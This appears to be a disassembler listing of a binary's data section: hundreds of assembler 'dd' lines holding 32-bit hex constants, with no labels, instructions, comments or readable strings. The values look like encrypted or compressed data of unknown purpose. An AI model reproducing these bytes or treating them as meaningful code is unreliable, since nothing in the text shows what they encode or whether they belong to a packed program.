		dd 48F11CC1h, 5BFB0AAFh, 38D438E1h, 90750168h, 0E1FF048Eh
		dd 0A7625806h, 86876887h, 6D4D6A0Fh, 7EE8749Ah,	1744FD24h
		dd 29960766h, 231026E3h, 8F306AF8h, 7D5F582Fh, 0DEFC7D9Eh
		dd 8C79239Ch, 3F49B145h, 0A14C4826h, 60B46568h,	9158160Eh
		dd 0A06F4F68h, 60DA7C2Dh, 0FD247EE8h, 99299B5Eh, 816C5329h
		dd 748E6688h, 545309A6h, 20D910A9h, 35E63597h, 1DA0A944h
		dd 880DC4C1h, 7F03DD1h,	0D50024E3h, 0E5C112F5h,	0A1BFD6C3h
		dd 1AE6A590h, 38970000h, 1CC423D9h, 44A651F3h, 11BA1DBFh
		dd 45A550F4h, 89081AC2h, 3FE522CAh, 2FD53698h, 40E425C8h
		dd 2FD53895h, 1667F4C5h, 932395A1h, 608C1ADEh, 30C772A7h
		dd 0A2777E8Fh, 9685E891h, 0E09B6529h, 5E92EFDCh, 55DF6FBAh
		dd 914E60B4h, 50CAC7FBh, 2384F1E5h, 0EB16DB4Eh,	960E4D30h
		dd 39DDCA29h, 37DB15BAh, 8F552012h, 83A45891h, 96B8517Ch
		dd 0F046CEA0h, 3C9F6D17h, 4FD985A9h, 0EE13EE13h, 95EC4C2Dh
		dd 3ADCC929h, 8EFF1717h, 9743322Fh, 33AC7D70h, 0A2777E85h
		dd 555AB267h, 0CEEA003Bh, 20C92234h, 0F240B7ACh, 0CF5F7CC3h
		dd 9D5CFD7Ch, 2531DC23h, 0BB506E89h, 3ACF5F3Ah,	48D674A6h
		dd 1225Fh, 0B815A200h, 0CE7BC155h, 0E7F8A31h, 933CBB5Bh
		dd 4874737Ah, 0D3DA2D8Dh, 1FCACB06h, 36AA8ADh, 0ECD3AF29h
		dd 68EB0B04h, 299663FBh, 1CEDD0E7h, 9D2FBFAh, 39EB26E1h
		dd 0D9DC318Eh, 568BD741h, 0B23A537Eh, 84AA87F0h, 197A52A7h
		dd 4566F495h, 0B7AB9EB0h, 0A52F8F2Eh, 0D13AB41Ah, 0C1A4BC85h
		dd 1BCEBF0Ah, 0EBD403FBh, 33FEAB22h, 42D12811h,	239D8137h
		dd 0F7FE11ADh, 0D8BFBC22h, 640016F7h, 0E271A8F2h, 29997206h
		dd 50CDECE0h, 6667A647h, 4FC361B3h, 8481799Dh, 0CB30A45Dh
		dd 0D5F3D69Ch, 6EBCEF42h, 0B07983D1h, 9C6B4F9Eh, 93705A65h
		dd 8DA74722h, 3685826Ah, 0BFD70D06h, 5D10151Eh,	0E000019h
		dd 3FA65EB3h, 29CC709Fh, 35A044BFh, 2CCB7194h, 7F9547C0h
		dd 92755502h, 0AA618B6Ah, 0A1685372h, 9A735C7Bh, 9CB78062h
		dd 23959FE1h, 0CE47E95Eh, 6E808B31h, 0E68F5B7Fh, 997401DEh
		dd 43BC65ACh, 0B2676E95h, 99B1CC87h, 712E2995h,	4B7453DDh
		dd 3CA017C2h, 0FF0FCACBh, 0FFEBD435h, 8C50E608h, 8623AA63h
		dd 35B85379h, 0DB9EBD64h, 58299685h, 836C8BABh,	967D4F8Ah
		dd 8B7C604Dh, 17D4F0Ah,	2D0727F5h, 3EE320CAh, 5FEF1AC1h
		dd 0FD1EE386h, 2995E57Ch, 0BEA0CF9h, 33F92BE2h,	587C5074h
		dd 6109B156h, 0A5332FBFh, 8D3BC47Dh, 0AE53E076h, 0AE6DA811h
		dd 299661CBh, 80965B48h, 8F7A41CDh, 5CF7942Fh, 239D4921h
		dd 0F128E19Eh, 9381441Bh, 0EE25FE9Ah, 0DAE2CA6Ch, 26A74352h
		dd 238E7BC0h, 42F748EEh, 80F7F5CAh, 0ED01FA25h,	271B1C5Ah
		dd 459D0B1Bh, 0BD6F659Ch, 3E9D6A90h, 8AEA1B5h, 0B320C69h
		dd 0FFF1E31Eh, 877A2C39h, 29E78054h, 3C838622h,	0A428D11Ah
		dd 88D861C9h, 3C28CE5Fh, 6CA13EAAh, 0CDC04773h,	932CD51Ch
		dd 3DECE128h, 8AFF1C19h, 0EF2C1745h, 0E52CDD00h, 0F31AC33Ch
		dd 1568F34Eh, 0A0201DBBh, 0AFBB810Eh, 0E4A105B2h, 0E0FDE852h
		dd 0BF36CDFBh, 3AD41FEAh, 0EEBD5BEDh, 17F6E0C5h, 48A70000h
		dd 0CB413C9h, 0D4F6E103h, 1EA0D2Fh, 0D5F5E004h,	0F9380A32h
		dd 4FF512BAh, 1FC546A8h, 50F415B8h, 1FC548A5h, 265704B5h
		dd 0A323959Eh, 73CE8A2Eh, 968595E8h, 0F5E31229h, 0C433C30Eh
		dd 0B047F21Bh, 2B4E0D0Eh, 0A8299685h, 0C72036FBh, 649DC553h
		dd 0C6B7649Dh, 43299685h, 0AD9DB046h, 882F8F9Ah, 7359669Bh
		dd 0B2441598h, 1C46D088h, 762C36E5h, 2AD72996h,	0D3F906A3h
		dd 46331638h, 251DA46Ah, 0C532FCEAh, 0BE53E326h, 46DD4622h
		dd 26E905F2h, 561410h, 0FFEE0000h, 31083169h, 21C319DBh
		dd 92474EB9h, 0F65CBC3Ah, 5C70ED60h, 78252F8Fh,	829736C1h
		dd 9CBEA8D1h, 48BD1E23h, 85329445h, 9CBEA3D6h, 0AE632023h
		dd 0D883BE63h, 239CBEA5h, 67D16522h, 9CBE9FDCh,	59B41923h
		dd 53B217A0h, 6F4E79C3h, 912139Ah, 6E000017h, 0DAFF69FFh
		dd 1CBDAA2Bh, 0FC35E4E9h, 0B1080C35h, 0D472209Ch, 0E491886Ch
		dd 29D97D40h, 28D12805h, 95C992EBh, 24E50829h, 1E31C5C2h
		dd 2F96ABF5h, 0EBDA9379h, 0B61EEFD0h, 52BAF8E0h, 0A101A35h
		dd 9A62F4C0h, 1B264ED0h, 17D2B71Ah, 0F2B517E2h,	0D3359112h
		dd 0B34D30CBh, 0DDCA2394h, 0DA03FC39h, 9E61133h, 0CFE89104h
		dd 0C2971EEDh, 7CA6302Ch, 95D296C5h, 55AC2995h,	7586836Ah
		dd 1D93D204h, 8A728481h, 0C4814580h, 63AEA4C8h,	537C83BEh
		dd 874E4C9Dh, 36FB9701h, 0E6E722C9h, 0EBD42333h, 0F2DBFA22h
		dd 0F5D9E61Bh, 7FEBF41Ah, 6F88B1E9h, 4759BB4Ah,	0E75DF4F6h
		dd 7B9895B9h, 238CD023h, 1AC11E99h, 189D54B1h, 5845AD41h
		dd 0DF16CD7Bh, 41244DA5h, 1630h, 0F113FEE1h, 0FF25EA06h
		dd 0EB11F2D8h, 0FE26DF0Ch, 0F014F3D7h, 3CA0DF52h, 10AE19CBh
		dd 3F9E49FBh, 0AB312CAh, 46F3E103h, 959C6415h, 0CC6CE123h
		dd 968591E8h, 88665129h, 61F77383h, 21530039h, 0EB2F9767h
		dd 981DE6D4h, 0BBC52DC1h, 0CF8C0E30h, 2395CEAEh, 6F967E2Bh
		dd 86896B68h, 1F2855C4h, 0F940F930h, 0AA2BE0FEh, 2F905FEFh
		dd 1EBF26DEh, 9FC24AEFh, 0DF63BEC5h, 7336AF3Fh,	5279648Ch
		dd 0AE6336B7h, 104ADC88h, 4202AE9h, 0C936298Fh,	203BE621h
		dd 1D9CDA5Dh, 0F1092DDAh, 0A92CD902h, 14DA39F0h, 0E0BFDAB5h
		dd 1582E6CFh, 8C330000h, 58785F85h, 786285B7h, 4D6E598Bh
		dd 796184B8h, 45BC568Eh, 0AB51B616h, 0B369A24Ch, 0BC60A914h
		dd 0A359B419h, 0A2DB7841h, 1F23959Bh, 638C06AAh, 7CB55678h
		dd 0CA89B079h, 299685AFh, 10DF6F2Ch, 0D55641AFh, 97380135h
		dd 864BBC20h, 15C8280Fh, 8C5D50B3h, 81675045h, 0A5A20B82h
		dd 0FE23E5B9h, 7651843h, 0EDDB2996h, 18C1B016h,	0F31224EDh
		dd 274D1FE7h, 9E194D2Fh, 0FCACB40h, 0CAE23FFh, 1FE0000h
		dd 0F2A72ED9h, 69FFD65Ch, 0E42DDCFFh, 0C23D043Dh, 2BFEEF1Ch
		dd 96856D10h, 193DEA29h, 97674736h, 0DC00F72Fh,	5FEFAA2Bh
		dd 0BF12B897h, 0B025EC1Bh, 0EE0930F9h, 6E0F4CD1h, 0E42395A3h
		dd 0F1AE10F9h, 0FCE10438h, 82F79C11h, 732395A3h, 44A8A0E5h
		dd 2A67BE21h, 31193ADFh, 0C298F8Ch, 870E01DDh, 20BC17D2h
		dd 0D8BFDA3Dh, 148ECED7h, 0A03F0000h, 0C42CCB71h, 8C2E994Bh
		dd 0B922C577h, 8D2D984Ch
		dd 3170C27Ah, 77AD5A82h, 679D6E50h, 78AC5D80h, 679D704Dh
		dd 0DE9FBC7Dh, 5B23959Ah, 638C52F6h, 239D6FAAh,	4B1EB060h
		dd 5A5D86A8h, 84896675h, 5558AF1Bh, 5F484D84h, 9974597Ah
		dd 98C4514h, 4647BC1Eh,	7F5F8B82h, 0BA1F9841h, 0A26B544Bh
		dd 0A5616D8Ch, 4D2F62CBh, 0BCF8Ch, 4FAA4F00h, 9642B9C4h
		dd 0AA493629h, 299642CFh, 79BF4F4Ch, 968591E8h,	6BA85129h
		dd 29968612h, 0E07C928Fh, 1FF52C76h, 0A1734854h, 5EDB7B67h
		dd 0F5765EA3h, 0C7E5006Ch, 0C7C7B241h, 25442995h, 688E43C6h
		dd 96A9D8E5h, 0CAEF082Fh, 4FDFBA3Bh, 50B2DDA7h,	291685A1h
		dd 944548C3h, 946D945Dh, 0A549C02Bh, 0E774A946h, 23952696h
		dd 26DB1613h, 0D4D93499h, 0E247F105h, 2681FC17h, 1FE2395h
		dd 0FE1FEEDh, 6A6E5081h, 820CE097h, 2CE26F0Dh, 927A9F6Ah
		dd 41D5E6E8h, 0EEF71762h, 607EEA7Ch, 0A0BB66ABh, 298E57AEh
		dd 0AF3F9C89h, 6BBFD946h, 136A5B4Ah, 0B41B0000h, 0A040A75Dh
		dd 0C02ACD6Fh, 9536A143h, 0C129CC70h, 0D849E46h, 63996E4Eh
		dd 8BB15A84h, 5488816Ch, 1BC14C71h, 2A5300B9h, 0A7239599h
		dd 638C7E42h, 89CA6FAAh, 299685F0h, 459EB06Dh, 69907D62h
		dd 1B510C63h, 61F547FFh, 0E1EDC888h, 2FD44B25h,	1AB91B4Dh
		dd 8F9959A4h, 5F8446A2h, 854CFA20h, 0AB2B571h, 6F880000h
		dd 9E94BA49h, 0A8CB46CEh, 9E79748Ah, 207AEC78h,	5AF940F9h
		dd 2995991Fh, 2954DF9Ch, 0A6299599h, 21D855F9h,	0D43996h
		dd 606E3E93h, 144EAF4h,	2F96A6D1h, 0AFBE0D7h, 0F41F0CE4h
		dd 2394E289h, 29D01906h, 0D8DD328Eh, 0B740ED01h, 0CA42F716h
		dd 15BADDA6h, 2B714F8h,	851C5802h, 0F93050C8h, 0B2BE0FEh
		dd 0E429C631h, 62F148F1h, 23950017h, 447E794h, 23950075h
		dd 0E320CA35h, 59811753h, 617359A0h, 593F9EB3h,	5EE749ABh
		dd 0A7C96F74h, 0FE8AC487h, 9B65298Dh, 5158A97Fh, 0E734FD6Bh
		dd 0BFD905F9h, 55FDE809h, 6000012h, 0D7FE26EBh,	1E418F7h
		dd 0CDF82CD7h, 4E319ECh, 370D2FD8h, 0EA1DBDFAh,	0E2299332h
		dd 0D9309B3Ah, 0F21BC423h, 44CFA84Ah, 23959839h, 8C6F11B6h
		dd 0E099BA63h, 5D299685h, 836469A0h, 718EB35Ah,	32ECC04Bh
		dd 7247FF28h, 0F0B039DDh, 0FA0BB047h, 0F5B9A554h, 226E0F4Ch
		dd 3EEB2996h, 5FEF1AC1h, 2F3A36AAh, 99AEF4Dh, 0E8390000h
		dd 29968596h, 607DEB7Dh, 0B87128ADh, 5854B881h,	0C3ACE1B6h
		dd 4AFA2B4h, 152F96A6h,	0CB88B168h, 2394E1B2h, 4FDC722Fh
		dd 0B9C44FAAh, 362394E1h, 0A946A549h, 2B818E32h, 0A06E4F41h
		dd 0BD5FAAB5h, 2D3BB51Ah, 927555A8h, 7EA4343Ah,	807742B3h
		dd 0BA517B5Eh, 1583DF6Fh, 2EED14CDh, 2395644Bh,	0FE3BDBC8h
		dd 8E88615Dh, 0E08A5429h, 4B60D31h, 0DE3C9752h,	0BABFD9AEh
		dd 116AACB9h, 0B41B0000h, 0A040A75Dh, 0C02ACD6Fh, 9536A143h
		dd 0C129CC70h, 0D849E46h, 63996E4Eh, 8BB15A84h,	5488816Ch
		dd 1BC14C71h, 2A5300B9h, 0A7239597h, 73CE7E42h,	968595E8h
		dd 0EC151229h, 96854E2Fh, 38DECB29h, 30914B9h, 1A1788C8h
		dd 4831C2C4h, 0C5299684h, 0CFE811D8h, 3AA21DECh, 0FD11C8CDh
		dd 33DA03E4h, 40CBF10Eh, 717A9C4Dh, 11B946F3h, 0B5A160F6h
		dd 42F716B7h, 84215CF7h, 0E19E2996h, 1D31D6F6h,	5C12CE13h
		dd 0EAE24D2Fh, 0EC4B0CE2h, 9A86A85Bh, 1E8h, 0AA638C6Ch
		dd 8E2DCA6Fh, 859DE07Bh, 6D1A2996h, 0A05920C9h,	96860A73h
		dd 5F9A8729h, 9685C9B4h, 0B5594629h, 8D579936h,	0A549AA1Bh
		dd 68914881h, 9595D2ABh, 0BC524F29h, 0A50C672h,	0C6FE44CFh
		dd 932C2F8Eh, 0A74FDF26h, 59FA3FFAh, 239C6320h,	954EE09Dh
		dd 9C6387EEh, 0B39F6623h, 0D57B19D3h, 4CDE48h, 0CE280000h
		dd 8595E873h, 15122996h, 75F36501h, 0C47DB457h,	8F989797h
		dd 4CF5B22Fh, 0B9E2A0C8h, 45E9E1AFh, 282F79Ch, 0D861239Dh
		dd 0D7512AF4h, 9BBB50A1h, 0D4887E6Ch, 9148D648h, 10Ch
		dd 0F386956Ch, 70239D64h, 65AC5781h, 638C6BD1h,	36B75878h
		dd 8227AE63h, 42B35675h, 0C428C767h, 88655243h,	2BA26953h
		dd 718EB37Eh, 4F98BE49h, 6C548768h, 61B36EA3h, 0F009053Ah
		dd 4CE6088Bh, 0F0EBD4EBh, 8EF3ACBh, 0F7B223E4h,	887FF457h
		dd 0B44B2996h, 0DE8B020Bh, 0C714B938h, 38F1E423h, 30275201h
		dd 0F7A42996h, 0CEF00732h, 0F6E1B83Dh, 0ECBD30D5h, 0EE78F04Ah
		dd 98CE8DB4h, 3B2F9221h, 0C42C934Eh, 0B38EAB4Bh, 3FACCD8Eh
		dd 7C29239Ah, 0A7C20A98h, 688E4326h, 4B746189h,	0D31ECBC2h
		dd 0DC27912Eh, 1BF0CED9h, 0CFF640D6h, 300EAEBh,	0C112D792h
		dd 0B1DF9C43h, 712B3A3Bh, 2200000Fh, 4BAA52BFh,	0DB86CA3h
		dd 41A458ABh, 10B76D98h, 8BA95BACh, 86816916h, 0B655775Eh
		dd 8584678Eh, 0B657785Fh, 8893648Eh, 239595F5h,	8C3BFD72h
		dd 9475A760h, 4449C02Bh, 4D728195h, 853A43D0h, 0CAB72996h
		dd 0C33CDDFFh, 0F248EE15h, 95E873CEh, 12299685h, 0CDF20115h
		dd 13AC4D40h, 0BC6D60A7h, 9B725B9Ah, 96715966h,	6651B680h
		dd 2C0B8287h, 6F7F4AC3h, 6A77Eh, 0D586BB00h, 299685A4h
		dd 6CD26421h, 83169FFh,	8FA41B4Bh, 0B8BCC62Fh, 77F9D1E5h
		dd 0B0535A8Fh, 239D37C9h, 0A96A8FA8h, 239D37D0h, 3FBE504Dh
		dd 13B93313h, 0C57E48D6h, 0C8000002h, 6ABD46CEh, 0BF7C398h
		dd 0D7C4BCA9h, 42D45788h, 9648710Fh, 98C25429h,	2B03B261h
		dd 0E9082F97h, 14CD04FFh, 0FB408EC0h, 2A88CC8Fh, 0B8DFA7FBh
		dd 3DFA1CD5h, 5B1E3D04h, 0D82394D9h, 0FB36D1F9h, 0DA339C5Bh
		dd 1F3C0522h, 2394D95Eh, 0E9082EDBh, 16840904h,	829D3D80h
		dd 3F02D3F6h, 69AA4F8Ah, 2394C310h, 0B17E908Dh,	8DE71CA2h
		dd 0F1220F29h, 1D9B9E88h, 0A627DCFEh, 0DB1613F3h, 0D9F83600h
		dd 847182BFh, 0E34h, 0D5070AE5h, 9B41CEF2h, 0CF758E3Ch
		dd 9A42C328h, 0C4788F3Bh, 5884336Eh, 846A8DAFh,	4B725587h
		dd 7E5F86BEh, 0B2876D8Fh, 9594D8A1h, 50F05523h,	508D638Ch
		dd 0FCD29BF3h, 0A22ACF1Ah, 0E2C052E5h, 519ABC43h, 5DAC0FA8h
		dd 7E6D8158h, 8A75AC61h, 0F950A461h, 0E6F968EEh, 4CC82135h
		dd 5E7F6D79h, 0E8848DAFh, 0BC4D2FB3h, 0DF6F9643h, 1CB43h
		dd 0B8639E00h, 29958BC5h, 8BB14542h, 95E873CEh,	4D299685h
		dd 96856B0Eh, 0CB3BE829h, 14B938DEh, 0F1E423C7h, 0C448F138h
		dd 360AE64Fh, 0F7E3DCDCh, 44E5FE10h, 19FB12BBh,	7ACBF9F0h
		dd 0EDFC12A2h, 53073DD0h, 5B649DC5h, 0BD7A9C73h, 2ACD9084h
		dd 0B2AA0A1Ch, 0DD8C010Eh, 0F34F0214h, 0E62F8EDBh, 3B8A8E1Ch
		dd 6DA4EA08h, 6BA24BB4h, 47122CBh, 0E3239BAAh, 87703E2Ch
		dd 9139A665h, 84AA7F76h, 0D585ED7Fh, 53AA48h, 9F750000h
		dd 4FE394E4h, 0DB61F5BFh, 83169FFh, 0E52AC631h,	321539F0h
		dd 2F8F97F8h, 11FAE413h, 3AB21D8h, 0EE72AC9Bh, 8D44C12Ah
		dd 0A6D38069h, 24239CFEh, 595E4FB8h, 858A6673h,	0FCCB494Ch
		dd 0F2830EEh, 32C445A8h, 2DBF87D3h, 0EA48D6DAh,	0D1h, 0AA638C3Ch
		dd 6F984423h, 0B954797Eh, 9F3EB980h, 0A5B6636Ah, 299685D4h
		dd 29C25451h, 0B56CA13Eh, 6F66A34Ah, 32A36488h,	929CB277h
		dd 96D8F48Fh, 0B117A029h, 688E5B52h, 73A96489h,	0D00951C7h
		dd 0E36926FCh, 0B85E00E6h, 0C18AE07Bh, 91682F91h, 99DFF782h
		dd 67877423h, 0DE53758Fh, 0C61200B0h, 0E9D60Bh,	0BB44F105h
		dd 0E227C60Fh
		dd 0EAD2F527h, 28BEE2Dh, 1B08239Ah, 9C3305D6h, 6253B1DFh
		dd 0C6353h, 64AD1400h, 56B915C0h, 62A147AEh, 57AE1BBAh
		dd 6D9A42A5h, 77245DB7h, 6590B453h, 75608487h, 6691B356h
		dd 72608489h, 92E396C5h, 0EB602395h, 8C31CE4Dh,	5E7E6D81h
		dd 3E9673A9h, 339A35D6h, 0A20ADFD6h, 20361B8Ch,	0FB21ECD1h
		dd 8731CE25h, 8EA0797Ch, 1E8F7E5Fh, 0A059B419h,	0C353B217h
		dd 3AE4C79h, 12AD0000h,	85BB5BA8h, 83169FFh, 0D23AC9EFh
		dd 0B6462D9h, 16233321h, 96E40A05h, 0B06B962Fh,	23951ECDh
		dd 7B625D4Ah, 6190688Eh, 871A27Dh, 8523951Fh, 8D5C5198h
		dd 0FA85144h, 7F5A5BAAh, 1E9DDC6Fh, 0B21B2395h,	6C4D5A5Bh
		dd 0CDA81499h, 0CC43DD81h, 2E7D09Eh, 49A59203h,	26EB0BC6h
		dd 4B2E3A4Ah, 3110Bh, 0F02BD600h, 2395128Dh, 0D6B71D0Ah
		dd 0DC88A153h, 0CE68CE60h, 787D8831h, 85D7A2B1h, 0A7542996h
		dd 379CC62h, 0E6299686h, 37D8F870h, 0F32EE3B6h,	0FD08B14Eh
		dd 3A0D21F8h, 2F9767CDh, 0F05A6369h, 39E93FC5h,	0CCEEDD15h
		dd 0F247F237h, 99710C47h, 31EE2395h, 1CF1CE1Dh,	2DE0FDE8h
		dd 4CA432A8h, 7BA66BA4h, 29AD8A99h, 6B8BB925h, 92A173CEh
		dd 55AE1CA4h, 8BC3A17Fh, 0C7DAE86Bh, 0EF08298Eh, 9C4D40CFh
		dd 6553827Ah, 8742179Eh, 0D919F62Ch, 0A491A2BFh, 0B00h
		dd 0E1030EB1h, 0F35DAF6h, 0DB0102E8h, 0E36CFFCh, 0E00403E7h
		dd 2C90CF42h, 20BE29DBh, 2F8E39EBh, 1AC322DAh, 0D6A351F3h
		dd 95913445h, 7C3CB123h, 7D8831CEh, 68B51AD9h, 9685D2ABh
		dd 0B1624F29h, 299685C8h, 58915845h, 0E3409455h, 41C79E2Eh
		dd 0FBE41323h, 23A6D8F5h, 5EB64A0Eh, 5E11C434h,	0BA5FAA22h
		dd 65689B3Dh, 0CB49A2B4h, 0E1FEEEFCh, 75E7F82Ch, 414D2FDEh
		dd 0AA1914F8h, 0B5D5F9A8h, 95F5D3A6h, 0C3535029h, 1ED67h
		dd 2452BA00h, 2F042120h, 0C4C946AAh, 43ADC15h, 23AA638Ch
		dd 0CA729B44h, 3CA0089Eh, 0D3F2CACBh, 87E32CCh,	0FD24ED24h
		dd 80FBB44h, 95C8324Bh,	37F2AF29h, 53E3B6h, 2F8EFA42h
		dd 51B61635h, 51448D5Ch, 9C96B3C2h, 6F7B9223h, 0D6B6C597h
		dd 498248h, 0CE640000h,	5FADF646h, 6A8C5EE0h, 73268FEh
		dd 8F50E24Ch, 310FD2Fh,	239D2B7Ah, 0CEBF0AF7h, 9D2B3045h
		dd 0FA0FAE23h, 41CAF4F3h, 0E1EDD84Ch, 0A11E233Dh, 0D72E9B38h
		dd 0C7CE03D6h, 0D1FDFC12h, 0D6077BF5h, 12A3C48h, 8C060000h
		dd 0CA6FAA63h, 9685F089h, 9EB06D29h, 0BE5DA445h, 299685BBh
		dd 4CAB4B38h, 816667A0h, 7D3CB15Ch, 85E697C4h, 0A6632996h
		dd 0A17C6190h, 85C2BB58h, 423F2996h, 9685C8B1h,	91584529h
		dd 7D694F68h, 1C561EBDh, 0FAFB36A1h, 4250F1Fh, 0BAAB2F10h
		dd 37517D44h, 537B51AEh, 0E97BC59h, 0EC0536F2h,	1E5FFC25h
		dd 9B299615h, 8A0548EEh, 0D429968Fh, 1DFA22EBh,	50F11AB7h
		dd 7B2E9F70h, 7F295999h, 3D65F36Fh, 1BC23D04h, 610548EEh
		dd 3F2F922Ah, 0F516B8h,	0FB10AE29h, 65F6A35Bh, 239A4814h
		dd 6E257791h, 93CBC7D2h, 516E935Eh, 87806C69h, 639E5306h
		dd 4EB9219Eh, 0F8819247h, 752399CBh, 6BCC6688h,	0D5F74669h
		dd 0A94DF113h, 9665A24Ah, 0B1DF6BEEh, 0F9F8FDF6h, 0AA000008h
		dd 0B312CA47h, 0F5E0040Bh, 0E90C30D3h, 0F8DF0500h, 331133D4h
		dd 0EE19C1FEh, 0DE2D8F36h, 0ED1CBF26h, 0DE2F9037h, 60FBBC26h
		dd 23958F1Dh, 8C93359Ah, 0E19CB760h, 5E299685h,	646D4BA1h
		dd 0E3E7270Ah, 0A611F62Eh, 0BE2DC146h, 0D638EC21h, 5478638Ch
		dd 60435596h, 7CB5BFA9h, 0BD526E79h, 44A86138h,	5C98D6C9h
		dd 36B772C0h, 5B818C31h, 377Ah,	638CC600h, 9B4423AAh, 0E172C772h
		dd 29968598h, 1DC66815h, 0C1ABB790h, 2479D41Ch,	41366F5h
		dd 93902996h, 36E76A41h, 0B72D500Bh, 0FDAA2995h, 28E31034h
		dd 1D000000h, 4F8C31CEh, 3F1A9B6Ah, 0C056038Ah,	0C818C31h
		dd 9685F387h, 0E0EE0929h, 0F22AE30Ch, 4E2FEC15h, 0CB299685h
		dd 0CE0238DEh, 714D8A31h, 8742179Eh, 34C35306h,	0A257828Bh
		dd 96860871h, 0A85D7E29h, 95927425h, 64F26881h,	0D4FC033Eh
		dd 0F11AC43Bh, 0D443D05Dh, 582F9767h, 0A30772A1h, 7A842395h
		dd 6F91A084h, 0BE509920h, 0BFBA5936h, 3C239600h, 9172583Fh
		dd 5D844D1Ch, 6C1D9377h, 498CB39Dh, 0FFB2A8E3h,	142135FCh
		dd 760714EDh, 0F3239620h, 0ECD12036h, 0F3DCFB21h, 0D80102E8h
		dd 9620423Bh, 7C2BF23h,	0F4DCE386h, 2FBF9A1Bh, 0A14BA533h
		dd 20A0D97Ah, 601D2396h, 9A4324A9h, 62A78273h, 20E19CB7h
		dd 0A15E2396h, 8488B168h, 0B7606481h, 0AC9FAF81h, 299763C0h
		dd 0D04855Fh, 0B9761DFh, 0D9E61BC6h, 81FC17F2h,	0FE1D9597h
		dd 0F940ED01h, 933B3413h, 4E714C3h, 0CB2ACC05h,	0D039EB22h
		dd 0F30302E7h, 0BB32DB04h, 0E271B92Fh, 1D962497h, 77A26714h
		dd 9FBC5D80h, 1D9624DEh, 0D363AE5Bh, 4DE5B566h,	645B238Fh
		dd 897A607Bh, 199C5504h, 0D8F86C40h, 0BB5F0531h, 4774639Bh
		dd 39528AA1h, 935E5C32h, 665D7D5Eh, 0B8B9A5DAh,	6FFADh
		dd 11B000h, 3AD5F9DCh, 0EF5E302h, 3BCAEFD6h, 9FEDE09h
		dd 93C041D3h, 993CE027h, 0C124D833h, 0AA4DEF1Ah, 0AE14C845h
		dd 8D2F4A09h, 37AC2395h, 0AA638C79h, 0C52A9572h, 85C2BB58h
		dd 423F2996h, 67886787h, 0A7482FA6h, 67886F66h,	0A3482FA6h
		dd 41BE6B62h, 6A9F3E9Bh, 236A2E9Fh, 0ADD6737h, 2CE712DCh
		dd 29968551h, 0AE3DD1CEh, 0DF48FC11h, 0FEE0F3D8h, 0DD32C40Dh
		dd 4D2F5D03h, 5EC4h, 31CE1E00h,	0A0797C87h, 1E44D28Eh
		dd 0D330F1E3h, 0EC7F40FBh, 2F2EED4Ah, 1F2F8F8Eh, 43D33498h
		dd 0AC13CEBBh, 1ACFC63Fh, 1DC037F4h, 8EE938ECh,	4A239CF0h
		dd 11A654C2h, 38DE1E22h, 43F914B9h, 17F2D9E6h, 0C433C396h
		dd 0AE49F019h, 0EECDC0Eh, 4EAFF265h, 0B7571283h, 622472Eh
		dd 0CE790000h, 6C828D31h, 74AD607Dh, 29AC638Bh,	66679C3Eh
		dd 0FD87EB3h, 0AB14C728h, 8DCE6B62h, 299685ECh,	8A75BC69h
		dd 0B960A966h, 9039A03Eh, 60A98075h, 3CC364CEh,	0A980758Eh
		dd 76778C2Eh, 41D793A3h, 0F33E019h, 22F8FB7h, 0CCF8DC05h
		dd 46F82523h, 0EB52EC0h, 239D1767h, 920306E5h, 0CFC649A5h
		dd 825C8A7Dh, 83438F76h, 48D637E9h, 59AEh, 31CE7800h, 98C37E89h
		dd 299685E5h, 0D591A562h, 17E21743h, 854831E2h,	82D32996h
		dd 6248BD8Eh, 16817E60h, 886154B9h, 854BE366h, 0B9662F8Fh
		dd 618A7534h, 0BABF92A4h, 38239D5Fh, 71767798h,	5FCEBF4Ah
		dd 9CA47A68h, 2EC96571h, 34D97D92h, 48D67BB8h, 1447Dh
		dd 638CC700h, 984423AAh, 0E46FCA6Fh, 29968599h,	1CC56916h
		dd 0F499775Dh, 0ADC78566h, 88856A89h, 50BD2205h, 0A5B68BACh
		dd 2995B7D4h, 8FC25451h, 2995BCD4h, 9FBC617Eh, 2995B2DEh
		dd 0C163AE5Bh, 6154B916h, 8135FC9h, 2995B275h, 9A0C03EBh
		dd 3ECBF2EDh, 0F227E2B7h, 8707E705h, 0DD985076h, 261323EEh
		dd 0DEF9E4DBh, 0D6830AFFh, 14A9B91Bh, 9AC7C0D2h, 0AD81D174h
		dd 70872F8Eh, 3433BA4Bh, 0A84E838Ch, 972C3650h,	38754049h
		dd 891F4BF1h, 0C251A851h, 239C35B7h, 8AA74734h,	982997C9h
		dd 9BB88129h, 1DA041E2h, 9735A25Fh, 501AE274h, 0E9624F07h
		dd 6198515Eh, 4FBE1F98h, 8C6B8B5Eh, 0B0537560h,	7CA56C3Dh
		dd 5EE396C5h, 71601DA0h, 6237BE49h, 8CAD87A7h, 18E2B988h
		dd 0EFFFB6D7h, 0D02BDC00h, 0BFD5A1B0h, 69664F60h, 1A000004h
		dd 43A25AB7h, 25D0749Bh, 399C40C3h, 28CF7590h, 83A143C4h
		dd 9E69510Eh, 0AE5D7F66h, 9D6C4F76h, 0AE5F8067h, 70AB4C76h
		dd 23958B0Dh, 8C23E58Ah, 0C772A760h, 9685F18Ch,	9DB16E29h
		dd 0FF9E7693h, 0F40FB92Ch, 0DEFE0820h, 0DC14B938h, 40330016h
		dd 6F955CCEh, 3169FFD1h, 2DF80408h, 0C5AD9BE1h,	43D0431h
		dd 966E2657h, 50E6A329h, 8F812DFDh, 537C832Fh, 0D06633BAh
		dd 0FFD25E28h, 11C21B7Bh, 472ED5D8h, 26239D72h,	0D93BF3DFh
		dd 0C42C81F2h, 3D8F4A4Bh, 7599F60Fh, 0D6BDDC90h, 1219948h
		dd 0CE6B0000h, 8595E873h, 0E4D2996h, 2996856Bh,	0DECB3BE8h
		dd 0C714B938h, 0AC21E827h, 5627340Dh, 0E1299685h, 0DA3D040Eh
		dd 33F0D6EEh, 1FE8D423h, 0F43A25AEh, 99262995h,	6D3DA35h
		dd 31DC01F0h, 1CF60408h, 69ACA1E3h, 59108580h, 53B47E90h
		dd 55F0B681h, 2993889Bh, 0F33EEBE2h, 0B02B9463h, 0C233FE0Fh
		dd 2ADB00F7h, 0A4CE5804h, 5F56AD1Bh, 9A10698Ah,	908D2995h
		dd 0B217A059h, 484DB821h, 79B65891h, 8EAF78DAh,	0AA14432Fh
		dd 0AF7A892Fh, 6F65C27Ah, 328E5284h, 0AB01D8DDh, 4DE14AEBh
		dd 0A65B8711h, 97EC8C75h, 0FF1CF929h, 1DA00B7Eh, 1EC30EFBh
